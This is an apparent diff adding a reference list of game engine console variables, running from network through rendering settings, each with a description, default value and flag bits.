+
+net_skipUnnecessaryDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_splitrate + +Number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultMP + +Default MP number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultSP + +Default SP number of fragments for a splitpacket that can be sent per frame + +default: `"10000"` +flags: `0x80000` +
+
+net_tamperPackets + + + +default: `"0"` +flags: `0x2` +
+
+net_threadedEntityDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_threadedProcessPacket + + + +default: `"1"` +flags: `0x2` +
+
+net_timeoutUsesLastReadTime + +Don't let us time out if we haven't been actually checking the socket for packets (inside a loop, for example) + +default: `"1"` +flags: `0x2` +
+
+net_trackerWarningInterval + + + +default: `"5"` +flags: `0x2` +
+
+net_usesocketsforloopback + +Use network sockets layer even for listen server local player's packets (multiplayer only). + +default: `"0"` +flags: `0x2` +
+
+net_verifyEncryption + + + +default: `"0"` +flags: `0x2` +
+
+net_voiceEchoFromChatServer + + + +default: `"0"` +flags: `0x2` +
+
+net_warnAboutSocketReadGaps + +Warn if we are waiting longer than this to check a socket for new packets + +default: `"0.200"` +flags: `0x2` +
+
+net_warnGapTime + + + +default: `"0.4"` +flags: `0x2` +
+
+net_wifi + +0 = ethernet, 1 = wifi, -1 = unknown + +default: `"-1"` +flags: `0x80200` +
+
+net_worldHitchSlopTime + + + +default: `"0.031"` +flags: `0x2` +
+
+next + +Set to 1 to advance to next frame ( when singlestep == 1 ) + +default: `"0"` +flags: `0x4000` +
+
+noReloadAfterUse + +Disables reloads for "+useAndReload" input if a use is triggered. + +default: `"1"` +flags: `0x2002` +
+
+noise_filter_scale + + + +default: `"0.006"` +flags: `0x1000000` +
+
+not_focus_sleep + +MS to sleep while window doesn't have focus + +default: `"50"` +flags: `0x2` +
+
+notification_displayTime + +How long notifications should wait before auto-hiding + +default: `"10"` +flags: `0x2` +
+
+nucleus_id + + + +default: `"0"` +flags: `0x80000200` +
+
+nucleus_pid + + + +default: `"unknown"` +flags: `0x80000200` +
+
+number_shortenToMillionsAfter + + + +default: `"2000000"` +flags: `0x2` +
+
+object_placement_debug + +Enable/disable debug lines for object placement + +default: `"0"` +flags: `0x4002` +
+
+offhandTossOverheadPitchThreshold + + + +default: `"-1.0"` +flags: `0x2002` +
+
+offhand_alignEndAnim1p3p + + + +default: `"1"` +flags: `0x2` +
+
+old_culling + + + +default: `"0"` +flags: `0x2` +
+
+old_gather_props + + + +default: `"0"` +flags: `0x80000` +
+
+one_handed_change_rate + +The rate at which the transition to and from one handed weapon usage takes place + +default: `"1.25"` +flags: `0xa` +
+
+opaque_renderable_worker + + + +default: `"1"` +flags: `0x2` +
+
+openInvite_spam + +Whether open invites should spam to the console log + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByLanguage + + + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByRegion + + + +default: `"1"` +flags: `0x2` +
+
+openinvite_duration_default + + + +default: `"10"` +flags: `0x2` +
+
+ordnanceSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+origin_Errorlevel_OldBehaviour + +Enables Setting errorlevel for as in the old code base did. + + +default: `"1"` +flags: `0x2` +
+
+origin_Errorlevel_Telementry + +Enables sending host Telemetry event for Origin errorLevel + + +default: `"1"` +flags: `0x2` +
+
+origin_authCodeFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+origin_autoRefreshTokenClient + + + +default: `"1"` +flags: `0x2` +
+
+origin_autoRefreshTokenServer + + + +default: `"0"` +flags: `0x2` +
+
+origin_debug + +Enable Origin HTTP debug logging (all HTTP queries and responses, token data etc.) + +default: `"0"` +flags: `0x2` +
+
+origin_disconnectWhenOffline + + + +default: `"1"` +flags: `0x2` +
+
+origin_ignoreInvitesOnLoadScreen + + + +default: `"0"` +flags: `0x2` +
+
+origin_igo_mutes_sound_enabled + +Enables feature for optionally muting game sound when Origin overlays are launched. + +default: `"1"` +flags: `0x2` +
+
+origin_igo_muting_sound + +True if game sound was muted when launching an Origin overlay. + +default: `"0"` +flags: `0x2` +
+
+origin_keepOldPresence + + + +default: `"1"` +flags: `0x2` +
+
+origin_presense_updateRate + +Minimum time between origin updates in seconds. + +default: `"1"` +flags: `0x2` +
+
+origin_tokenFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+panel_showVisChanges + + + +default: `"0"` +flags: `0x2` +
+
+panel_test_title_safe + +Test vgui panel positioning with title safe indentation + +default: `"0"` +flags: `0x4000` +
+
+parenting_debug + + + +default: `"0"` +flags: `0x2` +
+
+particleEffect_checkShouldStillPlay + + + +default: `"1"` +flags: `0x2` +
+
+particle_alwayswakeonstop + + + +default: `"1"` +flags: `0x2002` +
+
+particle_cpu_level + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `2` +
+
+particle_delete_all_except + + + +default: `""` +flags: `0x2` +
+
+particle_dlights_enable + + + +default: `"1"` +flags: `0x2` +
+
+particle_dlights_spew + + + +default: `"0"` +flags: `0x2` +
+
+particle_gpu_level + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_clear_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_size + +The size of each particle in the atlas + +default: `"32"` +flags: `0x2` +
+
+particle_lighting_viewmodel_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_overlay + +Show particle overlay (2 for same as particle_overlay_list_tally) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_attributes + +Space separated list of attributes to show per particle - 'all id duration xyz prev_xyz radius color alpha length' + +default: `"id"` +flags: `0x2` +
+
+particle_overlay_detail_filter + +Filters which particles to see in detail - can be id or substring or * + +default: `""` +flags: `0x2` +
+
+particle_overlay_detail_list_particles + +List individual particles in detail view + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_scroll + +Skip this many rows in particle overlay detail + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_hide_sleeping + +Hide sleeping effects in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_filter + +Filters which particles to see in list - can be id or substring or * + +default: `"*"` +flags: `0x2` +
+
+particle_overlay_list_tally + +Show tally of particle counts, rather than list (same as particle_overlay 2) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_tally_collapse_children + +Collapse children in tally-- only show totals at top level. + +default: `"1"` +flags: `0x2` +
+
+particle_overlay_old + +Draw particle overlay the old way (no imgui) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_scroll + +Skip this many rows in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_remap_vol2cp_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_script_dump + +particle_script_dump SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_script_list + + + +default: `""` +flags: `0x2002` +
+
+particle_script_log + +particle_script_log SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_scrub_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_debug_effect + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_is_using_time_scrub + + + +default: `"0"` +flags: `0x2002` +
+
+particle_scrub_max_dt + + + +default: `"0.02"` +flags: `0x2` +
+
+particle_scrub_play_speed + + + +default: `"1"` +flags: `0x2` +
+
+particle_scrub_quality + + + +default: `"6"` +flags: `0x2` +
+
+particle_scrub_time + + + +default: `"-1"` +flags: `0x2` +
+
+particle_simulateoverflow + +Used for stress-testing particle systems. Randomly denies creation of particles. + +default: `"0"` +flags: `0x4000` +
+
+particles_cull_dlights + + + +default: `"1"` +flags: `0x2002` +
+
+particles_max_passes + + + +default: `"10"` +flags: `0x2002` +
+
+particles_spawncull + + + +default: `"1"` +flags: `0x2002` +
+
+particles_spawncull_report + + + +default: `"0"` +flags: `0x2002` +
+
+parties_alwaysReadSubs + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyAlways + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyDelay + + + +default: `"3"` +flags: `0x2` +
+
+party_color_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+party_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+party_doRealNameLookupsForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_hostname + + + +default: `""` +flags: `0x2` +
+
+party_httpHandleTimeout + + + +default: `"10.0f"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_leaderAlwaysDetectsChanges + + + +default: `"1"` +flags: `0x2` +
+
+party_leaderReadyOnly + + + +default: `"0"` +flags: `0x2` +
+
+party_leaveMatchOnJoin + +Whether a player should quit the match they're in when they join a party + +default: `"0"` +flags: `0x2002` +
+
+party_lookupRealNamesForOpenInvites + + + +default: `"0"` +flags: `0x2` +
+
+party_lookupRealNamesForOpenInvitesForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_minSize + + + +default: `"3"` +flags: `0x2` +
+
+party_privacy + +our privacy setting for parties + +default: `"open"` +flags: `0x2` +
+
+party_readyToSearch + +our ready-up status + +default: `"0"` +flags: `0x2` +
+
+party_relyOnPartyForMemberUserInfo + +If true, we won't re-request userinfo speculatively, only when their version changes in our party block + +default: `"1"` +flags: `0x2` +
+
+party_requireConsensusForSearch + +Whether everyone in the party has to ready up before finding a match + +default: `"1"` +flags: `0x2` +
+
+perTriangleCollisionForced + +Forces all traces on static models to use high detail traces. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_killswitch + +A value of 1 means perfcharts is deactivated. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_pin_enabled + +Enable telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+perfcharts_pin_print + +Print telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+persistenceDef_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistenceDef_queryMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistenceDef_readMaxHttpRetries + + + +default: `"2"` +flags: `0x6` +
+
+persistenceDef_retryReadAfterErrorTime + + + +default: `"15"` +flags: `0x6` +
+
+persistenceDef_writeMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistence_clForceNew + + + +default: `"0"` +flags: `0x200` +
+
+persistence_disableForBuildProcess + + + +default: `"0"` +flags: `0x6` +
+
+persistence_enforce_manifest + +Enable validating against manifest. + +default: `"1"` +flags: `0x2` +
+
+persistence_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistence_new_player_if_upgrade_fails + +Create a new player if upgrade fails. (dev only) + +default: `"0"` +flags: `0x2` +
+
+persistence_upload_def + + + +default: `"1"` +flags: `0x6` +
+
+persistence_upload_failure_is_error + + + +default: `"1"` +flags: `0x6` +
+
+persistent_warningRate + + + +default: `"1"` +flags: `0x2` +
+
+pertrianglecollision + +Enables per-triangle collision with TRACEDETAILLEVEL_HIGH (i.e., bullets) on static models. + +default: `"1"` +flags: `0x2` +
+
+phys_bounce + + + +default: `"0.2"` +flags: `0x2002` +
+
+phys_cfm + +Constraint Force Mixing value. Softens the force applied to resolve constraints. ode.org/ode-latest-userguide.html: "If CFM is set to zero, the constraint will be hard .... the constraint is allowed to be violated by an amount proportional to CFM times the restoring force that is needed to enforce the constraint" + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_cfm_anglejointstop + + + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_drawContacts + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawContactsDuration + + + +default: `"0.016666"` +flags: `0x2002` +
+
+phys_drawGeoms + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawTunnelChecks + + + +default: `"0"` +flags: `0x2002` +
+
+phys_enableObjectPairCollidePrototype + + + +default: `"0"` +flags: `0x2` +
+
+phys_erp + +Fraction of penetration that physics tries to resolve per time step. At 1.0, all contacts add a velocity that will end the penetration in a single frame, though this is unstable. At 0.0, contacts create no outward force (though they still provide friction). + +default: `"0.05"` +flags: `0x2002` +
+
+phys_erp_anglejointstop + + + +default: `"0.05"` +flags: `0x2002` +
+
+phys_frictionDefault + + + +default: `"0.82"` +flags: `0x2002` +
+
+phys_showObjectCount + + + +default: `"0"` +flags: `0x2` +
+
+phys_threadGoWide + +Go wide across threads with Physics. + +default: `"1"` +flags: `0x2` +
+
+physics_async_cl + +Run physics simulation asynchronously from the main thread. + +default: `"1"` +flags: `0x2` +
+
+physics_autoSleepAngularThreshold + +Angular speed below which a physic object goes to sleep. (in degrees / second) + +default: `"120"` +flags: `0x2002` +
+
+physics_autoSleepDebug + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepGroundHysteresis + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepSpeedThreshold + +Speed below which a physic object goes to sleep. + +default: `"20"` +flags: `0x2002` +
+
+physics_collideWithMovingGeo + + + +default: `"1"` +flags: `0x2002` +
+
+physics_collision_speed_threshold + + + +default: `"10"` +flags: `0x2002` +
+
+physics_defaultMaxAngularSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_defaultMaxSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_scaled_mem + +Amout of extra memory taken by scaled collision meshes + +default: `"0"` +flags: `0x2` +
+
+physics_tunnelChecks + +Do traces to prevent physics objects from falling through the world. + +default: `"1"` +flags: `0x2002` +
+
+physics_tunnelChecksForceAlways + +Require objects to do tunnel checks every frame. + +default: `"0"` +flags: `0x2002` +
+
+pin_opt_in + +Enables sending PIN telemetry data to EA + +default: `"1"` +flags: `0x1000000` +
+
+pin_plat_id + +Platform user id for PIN + +default: `"0"` +flags: `0x80000202` +
+
+pin_sid + +session id + +default: `"unknown"` +flags: `0x80000200` +
+
+pin_telemetry_actually_send + + + +default: `"1"` +flags: `0x2` +
+
+pin_telemetry_debug_code + +Shows unformatted json of all messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_payload + +Shows final payloads being sent to PIN server, including header + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_script + +Shows nicely formatted json of script messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_dont_send_events + +List of PIN events to suppress + +default: `""` +flags: `0x2002` +
+
+pin_telemetry_hostname + + + +default: `""` +flags: `0x2` +
+
+pin_telemetry_inactivity_send_time + +Interval at which client PIN messages are sent. (Client only) + +default: `"300"` +flags: `0x2` +
+
+pin_telemetry_max_payload_size + + + +default: `"30720"` +flags: `0x2` +
+
+pin_telemetry_send_debug + +Enables x-ea-lint-level 2 for useful error messages + +default: `"0"` +flags: `0x2` +
+
+ping_debug + +Debug latency calculation. + +default: `"0"` +flags: `0x2` +
+
+ping_max_green + + + +default: `"70"` +flags: `0x2` +
+
+ping_max_red + + + +default: `"250"` +flags: `0x2` +
+
+ping_max_yellow + + + +default: `"140"` +flags: `0x2` +
+
+ping_minSentForChoice + +Minimum number of pings sent to this target (not received) before we are willing to say the player can matchmake because we're confident that this data is useful + +default: `"10"` +flags: `0x2` +
+
+ping_qos_units + +Divisor to use for pings, so we don't think a 3 ping is wildly better than a 4 ping, but we do think a 33 ping is worse than a 31 ping (at 60fps, that's another frame of latency) + +default: `"32"` +flags: `0x2` +
+
+ping_usePacketLoss + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_enable + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_maxquads + +Change the upper bound on how many 2x2 quads to sample for pixel visibility + +default: `"256"` +flags: `0x4000` +
+
+pixvis_spew + + + +default: `"0"` +flags: `0x2` +
+
+plat_environment + + + +default: `""` +flags: `0x2` +
+
+plat_retryNameLookups + + + +default: `"1"` +flags: `0x2` +
+
+platform_user_id + +Platform user id (origin user id on PC, xuid on xboxone) + +default: `"0"` +flags: `0x2` +
+
+playerListPartyColorB + + + +default: `"204"` +flags: `0x2` +
+
+playerListPartyColorG + + + +default: `"255"` +flags: `0x2` +
+
+playerListPartyColorR + + + +default: `"179"` +flags: `0x2` +
+
+playerListUseFriendColor + + + +default: `"1"` +flags: `0x2` +
+
+player_ADS_buffer_time_seconds + +How long (in seconds) will the game buffer a Toggle Zoom attempt if the player cannot ADS when they press the button. + +default: `"1"` +flags: `0x2002` +
+
+player_debugPredictedPosition + + + +default: `"0"` +flags: `0x2` +
+
+player_deltaAnimsMakeMeUnpredicted + + + +default: `"0"` +flags: `0x2` +
+
+player_doJetwashEffects + + + +default: `"0"` +flags: `0x2` +
+
+player_extraairaccelleration + +Extra air acceleration given to players, even if they're already at max speed. Helps to start wall running + +default: `"2.0"` +flags: `0x2002` +
+
+player_highFrequencyThinkDistance + + + +default: `"6000"` +flags: `0x2` +
+
+player_movementBounds_predictionShare + + + +default: `"1"` +flags: `0x2002` +
+
+player_movingDeathThreshold + + + +default: `"50"` +flags: `0x6000` +
+
+player_respawnInputDebounceDuration + +How long after respawning will certain player inputs be debounced for + +default: `"0.5"` +flags: `0x2` +
+
+player_setting_autosprint + +Automatically sprint when walking forward. + +default: `"0"` +flags: `0x41000000` +
+
+player_setting_damage_closes_deathbox_menu + +Controls whether death box automatically closes when taking damage (used for menus). + +default: `"1"` +flags: `0x1000000` +
+
+player_setting_stickysprintforward + +Double-tapping sprint will keep the player sprinting forward. + +default: `"0"` +flags: `0x41000200` +
+
+player_showEyePosition + + + +default: `"0"` +flags: `0x2` +
+
+player_useMovementBounds + + + +default: `"1"` +flags: `0x2002` +
+
+player_viewchange_debug_pitch + + + +default: `"20"` +flags: `0x2` +
+
+player_viewchange_debug_roll + + + +default: `"9"` +flags: `0x2` +
+
+player_viewchange_debug_yaw + + + +default: `"160"` +flags: `0x2` +
+
+playlist_changeGamemodeAutomatically + + + +default: `"1"` +flags: `0x2` +
+
+playlist_debug + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_getvar + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_localization + + + +default: `"0"` +flags: `0x2` +
+
+playlist_dump + +Dump contents of playlists file (and patches) when we parse it + +default: `"0"` +flags: `0x2` +
+
+playlist_privateMatchEnabled + + + +default: `"0"` +flags: `0x2002` +
+
+playlist_rotationGroup + +Current rotation group among playlists + +default: `""` +flags: `0x2002` +
+
+playlist_rotationInterval + +How often to rotate playlist groups in minutes + +default: `"5"` +flags: `0x2` +
+
+playlist_rotationIntervalDefault + +Default value of how often to rotate playlist groups in minutes + +default: `"150"` +flags: `0x2` +
+
+playlist_rotationIntervalOverride + +Override value (if > 0) of how often to rotate playlist groups in minutes + +default: `"0"` +flags: `0x2` +
+
+playlist_rotationNextTime + +Next rotation time for playlist group + +default: `"0"` +flags: `0x2002` +
+
+playlist_variableErrorsChecks + + + +default: `"1"` +flags: `0x2002` +
+
+portal_pointpush_debug + +Debug the portal_pointpush. + +default: `"0"` +flags: `0x6000` +
+
+portal_pointpush_think_rate + +The amount of time between thinks for the portal_pointpush. + +default: `"0.05f"` +flags: `0x6000` +
+
+portal_use_player_avoidance + + + +default: `"0"` +flags: `0x2002` +
+
+postdataupdate_threaded + + + +default: `"1"` +flags: `0x2` +
+
+postdataupdate_threaded_chunksize + + + +default: `"2"` +flags: `0x2` +
+
+printConnectTimings + + + +default: `"0"` +flags: `0x2` +
+
+print_timeprefix + + + +default: `"1"` +flags: `0x2` +
+
+process_pending_vm_effects + + + +default: `"1"` +flags: `0x2` +
+
+progressbar_allow_wrap + +Allow loading bar to wrap. + +default: `"1"` +flags: `0x2` +
+
+progressbar_high_precision + +Use a higher precision bar. + +default: `"0"` +flags: `0x2` +
+
+progressbar_single_bar + +Use a single bar. + +default: `"1"` +flags: `0x2` +
+
+projectile_fake_prediction_in_kill_replay + +Calls weapon primary-attack callbacks on client during replay to create predicted projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_faketrails + +Enables fake projectile trails when the projectile impacts on the server before lag compensation is complete + +default: `"1"` +flags: `0x2` +
+
+projectile_filltrails + +Fill the gap between the gun barrel and the first seen projectile position for trail Fx (1: 1st person only, 2: 3rd person only, 3: 1st and 3rd persons) + +default: `"3"` +flags: `0x2` +
+
+projectile_lagCompensationDebug + +Draws lag compensation on projectiles + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawNoReg + +Debug draw when noreg is detected. + +default: `"1"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawTime + +Amount of time debug drawing persists with projectile_lagCompensationDebug enabled. + +default: `"3.0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugExtra + +Draws the "real" arc the projectile would take, as well as an extra simple simulation to compare with the actual path + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugForceNoReg + +Force no reg on all shots. + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugServerOffset + +Offset the server debug lines by this many units vertically + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationMissileTimeStepScalar + +Scales the time step used for seeking missiles in lag compensation + +default: `"1.0"` +flags: `0x2002` +
+
+projectile_muzzleOffsetFirstPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetFirstPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.3"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.1"` +flags: `0x2` +
+
+projectile_prediction + +Performs client-side prediction and lag compensation on projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_predictionErrorCorrectTime + +Time over which prediction errors are corrected for projectiles + +default: `"0.3"` +flags: `0x2` +
+
+prop_lightweightPropsSkipAnimData + + + +default: `"0"` +flags: `0x2` +
+
+prop_survivalSkipsAnimData + + + +default: `"1"` +flags: `0x2` +
+
+props_break_burst_rotation + +Rate of rotation in degrees per second. + +default: `"100"` +flags: `0x2002` +
+
+props_break_max_pieces + +Maximum prop breakable piece count (-1 = model default) + +default: `"-1"` +flags: `0x2002` +
+
+props_break_max_pieces_perframe + +Maximum prop breakable piece count per frame (-1 = model default) + +default: `"20"` +flags: `0x2002` +
+
+publication_hostname + + + +default: `""` +flags: `0x2` +
+
+push_cl + +1: Moving geo pushes client entities, 0: Client entities do not get pushed + +default: `"1"` +flags: `0x2` +
+
+push_cl_always_update_prev_matrix + + + +default: `"0"` +flags: `0x2` +
+
+push_debug + +Debug all pushing entities + +default: `"0"` +flags: `0x2002` +
+
+push_debug_ent + +Debug pushing entity + +default: `"-1"` +flags: `0x2002` +
+
+push_ragdolls + +Toggles whether to push ragdoll entities + +default: `"1"` +flags: `0x2002` +
+
+pve_debug + + + +default: `""` +flags: `0x2002` +
+
+pvs_addWorkItemsAccum + +Accumulate this many work items from the main PVS job before adding them to the worker thread array, which can be slow + +default: `"100"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_edges + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"50"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_leaves + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"5000"` +flags: `0x2` +
+
+pvs_cullBoxes + + + +default: `"1"` +flags: `0x2` +
+
+pvs_debug + + + +default: `"0"` +flags: `0x2` +
+
+pvs_frustumCullOnly + +0 - Off, 1 - On by Script, 2 - forced On + +default: `"0"` +flags: `0x2` +
+
+pvs_start_early + +0 not early, 1 after view setup, 2 after threaded bone setup + +default: `"2"` +flags: `0x2` +
+
+r_AirboatViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_AirboatViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_AirboatViewZHeight + + + +default: `"0.0"` +flags: `0x6000` +
+
+r_JeepViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_JeepViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_VehicleViewDampen + + + +default: `"1"` +flags: `0x6000` +
+
+r_WaterDrawReflection + +Enable water reflection + +default: `"1"` +flags: `0x2` +
+
+r_WaterDrawRefraction + +Enable water refraction + +default: `"1"` +flags: `0x2` +
+
+r_aspectratio + + + +default: `"0"` +flags: `0x2` +
+
+r_blurmenubg + +Blurs background when menus are open + +default: `"1"` +flags: `0x2` +
+
+r_bone_matrix_bulk_update_threshold + + + +default: `"64"` +flags: `0x2` +
+
+r_brush_queue_mode + + + +default: `"0"` +flags: `0x4000` +
+
+r_createmodeldecals + + + +default: `"1"` +flags: `0x40000000` +
+
+r_cullshadowworldmeshes + + + +default: `"1"` +flags: `0x2` +
+
+r_debug_draw_box_depth_test + +Toggle depth test for debug draw box functionality + +default: `"1"` +flags: `0x2` +
+
+r_decal_cover_count + + + +default: `"4"` +flags: `0x2` +
+
+r_decal_cull_stretch_limit + +Reciprocal of per-tri limit on decal stretching (0 is most permissive, 1 is most restrictive.) + +default: `"0.707"` +flags: `0x4000` +
+
+r_decal_draw_basis + + + +default: `"0"` +flags: `0x2` +
+
+r_decal_drawclipped + +A bit-field! 1:Draw decal debug triangle overlays of *all* potential hits, 2:Draw actual hits, 4:Draw clipped hits + +default: `"0"` +flags: `0x4000` +
+
+r_decal_overlap_area + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decal_overlap_count + + + +default: `"3"` +flags: `0x2` +
+
+r_decal_test_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decals + + + +default: `"256"` +flags: `0x40000000` +min value: `0` +max value: `256` +
+
+r_delay_texture_destroy + +immediate call on Destroy() may cause GPU hang as it can still be used by GPU. this will make it delayed by one frame. + +default: `"1"` +flags: `0x2` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFadeShadows + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawallrenderables + +Draw all renderables, even ones inside solid leaves. + +default: `"0"` +flags: `0x4000` +
+
+r_drawalphasort + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawdecals + +Render decals. + +default: `"1"` +flags: `0x4000` +
+
+r_drawdepth_of_blend2transparent + + + +default: `"1"` +flags: `0x2` +
+
+r_drawdlights + +whether to debug draw dlights + +default: `"0"` +flags: `0x4000` +
+
+r_drawentities + +0: dont' draw; 1: draw normal; 2: draw bones; 3: draw hulls + +default: `"1"` +flags: `0x4000` +
+
+r_drawlightdist + +If r_drawstaticlight is -1, only include draw lights within this radius + +default: `"4000"` +flags: `0x4000` +
+
+r_drawlightinfo + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawmodelsinzfill + +Draw models in the zfill pass where they will affect light tile culling + +default: `"1"` +flags: `0x4000` +
+
+r_drawopaquerenderables + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawparticles + +Enable/disable particle rendering + +default: `"1"` +flags: `0x4000` +
+
+r_drawrenderboxes + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawscreenspaceparticles + + + +default: `"1"` +flags: `0x2` +
+
+r_drawsky + +Enable the rendering of sky + +default: `"1"` +flags: `0x4000` +
+
+r_drawskybox_deprecated + +Enable the rendering of sky boxes + +default: `"1"` +flags: `0x4000` +
+
+r_drawstaticlight + +0 = none, -1 = all within r_drawlightdist, other draws that light index + +default: `"0"` +flags: `0x4000` +
+
+r_drawstaticprops + +Toggle drawing of static props + +default: `"1"` +flags: `0x4000` +
+
+r_drawtracers + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawvgui + +Enable the rendering of vgui panels + +default: `"1"` +flags: `0x4000` +
+
+r_drawviewmodel + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawworld + +Render the world (0 = none, 1 = opaque only, 2 = trans only, 3 = both). + +default: `"3"` +flags: `0x40004000` +
+
+r_dynamic + + + +default: `"1"` +flags: `0x80000` +
+
+r_earlyRenderables + + + +default: `"1"` +flags: `0x2` +
+
+r_enableOriginSort + + + +default: `"1"` +flags: `0x4000` +
+
+r_fadeincode + + + +default: `"0"` +flags: `0x2` +
+
+r_farz + +Override the far clipping plane. -1 means to use the value in env_fog_controller. + +default: `"-1"` +flags: `0x4000` +
+
+r_fastzreject + +Activate/deactivates a fast z-setting algorithm to take advantage of hardware with fast z reject. Use -1 to default to hardware settings + +default: `"0"` +flags: `0x2` +
+
+r_forcecheapwater + +Force all water to be cheap water, will show old renders if enabled after water has been seen + +default: `"0"` +flags: `0x4008` +
+
+r_jiggle_bones + + + +default: `"1"` +flags: `0x2` +
+
+r_lightmap + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lightprobe_force_trans_dist + +if an entity moves this distance or greater in one frame it is automatically transitioned to a new probe + +default: `"2000"` +flags: `0x2` +
+
+r_lightstyle + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +min value: `-1` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
